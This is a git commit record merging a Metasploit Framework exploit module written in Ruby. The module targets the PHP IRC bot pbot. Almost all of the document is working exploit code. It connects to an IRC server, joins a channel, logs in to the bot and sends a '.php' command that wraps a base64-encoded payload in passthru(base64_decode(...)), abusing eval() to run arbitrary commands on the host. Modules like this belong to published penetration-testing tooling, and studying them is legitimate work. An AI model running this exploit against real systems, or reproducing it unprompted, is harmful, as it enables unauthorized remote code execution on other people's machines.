Merge branch 'pbot_exec' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-pbot_exec
sinn3r
commit
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution',
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'Description' => %q{
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This module allows remote command execution on the PHP IRC bot pbot by abusing
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the usage of eval() in the implementation of the .php command. In order to work,
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the data to connect to the IRC server and channel where find pbot must be provided.
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The module has been successfully tested on the version of pbot analyzed by Jay
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Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP
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SP3.
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},
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'Author' =>
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[
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'evilcry', # pbot analysis'
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'Jay Turla', # pbot analysis
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'@bwallHatesTwits', # PoC
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'EDB', '20168' ],
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[ 'URL', 'http://offensivecomputing.net/?q=node/1417'],
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[ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/']
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],
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'Platform' => [ 'unix', 'win'],
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 344, # According to RFC 2812, the max length message is 512, including the cr-lf
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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}
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},
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'Targets' =>
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[
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[ 'pbot', { } ]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 02 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(6667),
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OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
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OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
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OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']),
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OptString.new('PBOT_PASSWORD', [false, 'pbot Password', '']),
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], self.class)
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end
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def check
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connect
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response = register(sock)
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if response =~ /463/ or response =~ /464/
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print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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return Exploit::CheckCode::Unknown
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end
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response = join(sock)
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if not response =~ /353/ and not response =~ /366/
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print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
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return Exploit::CheckCode::Unknown
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end
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response = pbot_login(sock)
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quit(sock)
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disconnect
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if response =~ /auth/ and response =~ /logged in/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def send_msg(sock, data)
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sock.put(data)
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data = ""
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begin
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read_data = sock.get_once(-1, 1)
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while not read_data.nil?
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data << read_data
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read_data = sock.get_once(-1, 1)
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end
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rescue EOFError
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end
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data
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end
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def register(sock)
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msg = ""
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if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
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msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
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end
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if datastore['NICK'].length > 9
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nick = rand_text_alpha(9)
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print_error("The nick is longer than 9 characters, using #{nick}")
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else
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nick = datastore['NICK']
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end
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msg << "NICK #{nick}\r\n"
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msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
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response = send_msg(sock,msg)
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return response
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end
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def join(sock)
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join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
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response = send_msg(sock, join_msg)
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return response
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end
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def pbot_login(sock)
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login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login"
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if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty?
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login_msg << " #{datastore['PBOT_PASSWORD']}"
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end
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login_msg << "\r\n"
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response = send_msg(sock, login_msg)
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return response
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end
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def pbot_command(sock)
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encoded = Rex::Text.encode_base64(payload.encoded)
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command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n"
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response = send_msg(sock, command_msg)
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return response
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end
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def quit(sock)
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quit_msg = "QUIT :bye bye\r\n"
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sock.put(quit_msg)
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end
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def exploit
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connect
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print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
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response = register(sock)
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if response =~ /463/ or response =~ /464/
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print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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return
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end
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print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
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response = join(sock)
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if not response =~ /353/ and not response =~ /366/
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print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
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return
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end
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print_status("#{rhost}:#{rport} - Registering with the pbot...")
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response = pbot_login(sock)
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if not response =~ /auth/ or not response =~ /logged in/
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print_error("#{rhost}:#{rport} - Error registering with the pbot")
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return
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end
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print_status("#{rhost}:#{rport} - Exploiting the pbot...")
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pbot_command(sock)
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quit(sock)
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disconnect
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end
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end
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